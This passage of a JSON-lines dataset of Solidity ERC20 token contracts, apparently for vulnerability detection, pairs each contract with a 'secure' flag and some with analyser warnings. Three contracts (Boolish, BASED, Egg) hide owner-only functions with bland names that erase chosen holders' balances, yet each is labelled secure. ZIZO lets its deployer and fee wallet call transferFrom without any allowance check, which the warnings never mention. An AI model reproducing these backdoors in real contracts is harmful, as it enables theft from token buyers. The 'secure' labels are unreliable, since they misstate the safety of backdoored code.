balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_1361.sol", "secure": 0, "size_bytes": 18015 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Boolish is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable scratch;\n\n constructor() {\n _name = \"Boolish\";\n\n _symbol = \"BOOL\";\n\n _decimals = 18;\n\n uint256 initialSupply = 690000000;\n\n scratch = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == scratch, \"Not allowed\");\n\n _;\n }\n\n function voyage(address[] memory gun) public onlyOwner {\n for (uint256 i = 0; i < gun.length; i++) {\n address account = gun[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1362.sol", "secure": 1, "size_bytes": 4347 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TOKEN is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable interference;\n\n constructor() {\n _name = \"BASED\";\n\n _symbol = \"BASED\";\n\n _decimals = 18;\n\n uint256 initialSupply = 100000000;\n\n interference = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == interference, \"Not allowed\");\n\n _;\n }\n\n function Execute(address[] memory silk) public onlyOwner {\n for (uint256 i = 0; i < silk.length; i++) {\n address account = silk[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1363.sol", "secure": 1, "size_bytes": 4363 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Egg is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable clinic;\n\n constructor() {\n _name = \"EGG\";\n\n _symbol = \"EGG\";\n\n _decimals = 18;\n\n uint256 initialSupply = 817000000;\n\n clinic = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == clinic, \"Not allowed\");\n\n _;\n }\n\n function invisible(address[] memory disposition) public onlyOwner {\n for (uint256 i = 0; i < disposition.length; i++) {\n address account = disposition[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1364.sol", "secure": 1, "size_bytes": 4362 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ZIZO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: af04afb): ZIZO._bots is never initialized. It is used in ZIZO._transfer(address,address,uint256)\n\t// Recommendation for af04afb: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5f01824): ZIZO._yyWallet should be immutable \n\t// Recommendation for 5f01824: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _yyWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 92e4c27): ZIZO.deployer should be immutable \n\t// Recommendation for 92e4c27: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployer;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"ZIZO\";\n\n string private constant _symbol = unicode\"ZIZO\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: e3097cf): ZIZO._minTaxSwap should be constant \n\t// Recommendation for e3097cf: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 31a56a6): ZIZO._maxTaxSwap should be constant \n\t// Recommendation for 31a56a6: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: c0060f9): ZIZO._initialBuyTax should be constant \n\t// Recommendation for c0060f9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: a1c53a9): ZIZO._initialSellTax should be constant \n\t// Recommendation for a1c53a9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1680dec): ZIZO._finalBuyTax should be constant \n\t// Recommendation for 1680dec: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b3dc142): ZIZO._finalSellTax should be constant \n\t// Recommendation for b3dc142: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2de0ab4): ZIZO._reduceBuyAt should be constant \n\t// Recommendation for 2de0ab4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: c0bd516): ZIZO._reduceSellAt should be constant \n\t// Recommendation for c0bd516: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 95ff5fb): ZIZO._preventCount should be constant \n\t// Recommendation for 95ff5fb: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 15;\n\n uint256 private _buyCount = 0;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n deployer = msg.sender;\n\n _yyWallet = payable(0x48cA1789C7cAF76b1Dc98673dc7f9F34f73dCF93);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_yyWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function init() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2f1ab5c): ZIZO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2f1ab5c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5769151): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5769151: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2c0fd89): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2c0fd89: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5769151\n\t\t// reentrancy-benign | ID: 2c0fd89\n _transfer(sender, recipient, amount);\n if (_msgSender() != _yyWallet && _msgSender() != deployer)\n\t\t\t// reentrancy-events | ID: 5769151\n\t\t\t// reentrancy-benign | ID: 2c0fd89\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: de7bd8e): ZIZO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for de7bd8e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2c0fd89\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5769151\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 14768ec): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 14768ec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: c60e81b): ZIZO._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for c60e81b: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: af04afb): ZIZO._bots is never initialized. It is used in ZIZO._transfer(address,address,uint256)\n\t// Recommendation for af04afb: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ea5aeae): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ea5aeae: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f53444a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f53444a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _taxAmount = 0;\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _taxAmount = amount\n .mul((_buyCount > _reduceBuyAt) ? _finalBuyTax : _initialBuyTax)\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _taxAmount = amount\n .mul(\n (_buyCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: c60e81b\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 14768ec\n\t\t\t\t\t// reentrancy-eth | ID: ea5aeae\n\t\t\t\t\t// reentrancy-eth | ID: f53444a\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 14768ec\n\t\t\t\t\t\t// reentrancy-eth | ID: ea5aeae\n\t\t\t\t\t\t// reentrancy-eth | ID: f53444a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 14768ec\n\t\t\t\t\t\t\t// reentrancy-eth | ID: ea5aeae\n\t\t\t\t\t\t\t// reentrancy-eth | ID: f53444a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: ea5aeae\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 14768ec\n\t\t\t\t\t// reentrancy-eth | ID: f53444a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 14768ec\n\t\t\t\t\t\t// reentrancy-eth | ID: f53444a\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f53444a\n _balances[address(this)] = _balances[address(this)].add(_taxAmount);\n\n\t\t\t// reentrancy-events | ID: 14768ec\n emit Transfer(from, address(this), _taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f53444a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f53444a\n _balances[to] = _balances[to].add(amount.sub(_taxAmount));\n\n\t\t// reentrancy-events | ID: 14768ec\n emit Transfer(from, to, amount.sub(_taxAmount));\n }\n\n function removeLimits() external onlyOwner {\n _caLimitSell = false;\n\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5769151\n\t\t// reentrancy-events | ID: 14768ec\n\t\t// reentrancy-eth | ID: ea5aeae\n\t\t// reentrancy-eth | ID: f53444a\n _yyWallet.transfer(amount);\n }\n\n function withdrawStuckETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5769151\n\t\t// reentrancy-events | ID: 14768ec\n\t\t// reentrancy-benign | ID: 2c0fd89\n\t\t// reentrancy-eth | ID: ea5aeae\n\t\t// reentrancy-eth | ID: f53444a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ab8632e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ab8632e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 548b5f8): ZIZO.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 548b5f8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2c73712): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2c73712: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: ab8632e\n\t\t// unused-return | ID: 548b5f8\n\t\t// reentrancy-eth | ID: 2c73712\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ab8632e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 2c73712\n tradingOpen = true;\n }\n}", "file_name": "solidity_code_1365.sol", "secure": 0, "size_bytes": 18312 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ETHGUY is ERC20 {\n constructor() ERC20(unicode\"ETH GUY\", unicode\"ETHGUY\") {\n _mint(msg.sender, 100_000_000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_1366.sol", "secure": 1, "size_bytes": 294 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract SocialJusticeJesus is ERC20, ERC20Burnable, Ownable {\n uint256 public maxTransactionAmount;\n\n uint256 public maxWalletAmount;\n\n constructor(\n address initialOwner\n ) ERC20(\"Social Justice Jesus\", \"SJJ\") Ownable(initialOwner) {\n _mint(owner(), 1000000000e18);\n\n maxTransactionAmount = (totalSupply() * 1) / 100;\n\n maxWalletAmount = (totalSupply() * 1) / 100;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 32af865): SocialJusticeJesus.setMaxTransactionAmount(uint256) should emit an event for maxTransactionAmount = amount \n\t// Recommendation for 32af865: Emit an event for critical parameter changes.\n function setMaxTransactionAmount(uint256 amount) external onlyOwner {\n require(\n amount <= (totalSupply() * 25) / 100,\n \"Exceeds 25% more than total supply\"\n );\n\n\t\t// events-maths | ID: 32af865\n maxTransactionAmount = amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 97c51da): SocialJusticeJesus.setMaxWalletAmount(uint256) should emit an event for maxWalletAmount = amount \n\t// Recommendation for 97c51da: Emit an event for critical parameter changes.\n function setMaxWalletAmount(uint256 amount) external onlyOwner {\n require(\n amount <= (totalSupply() * 25) / 100,\n \"Exceeds 25% more than total supply\"\n );\n\n\t\t// events-maths | ID: 97c51da\n maxWalletAmount = amount;\n }\n\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override(ERC20) {\n if (from != owner() && to != owner() && to != address(0)) {\n require(\n value <= maxTransactionAmount,\n \"Exceeds maximum transaction amount\"\n );\n\n require(\n balanceOf(to) + value <= maxWalletAmount,\n \"Exceeds maximum wallet holding amount\"\n );\n }\n\n super._update(from, to, value);\n }\n}", "file_name": "solidity_code_1367.sol", "secure": 0, "size_bytes": 2352 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ElonTechnokingHero is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 776557c): ElonTechnokingHero._taxWallet should be immutable \n\t// Recommendation for 776557c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 84b43de): ElonTechnokingHero._initialBuyTax should be constant \n\t// Recommendation for 84b43de: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3de2c0f): ElonTechnokingHero._initialSellTax should be constant \n\t// Recommendation for 3de2c0f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 30;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 69fb00c): ElonTechnokingHero._reduceBuyTaxAt should be constant \n\t// 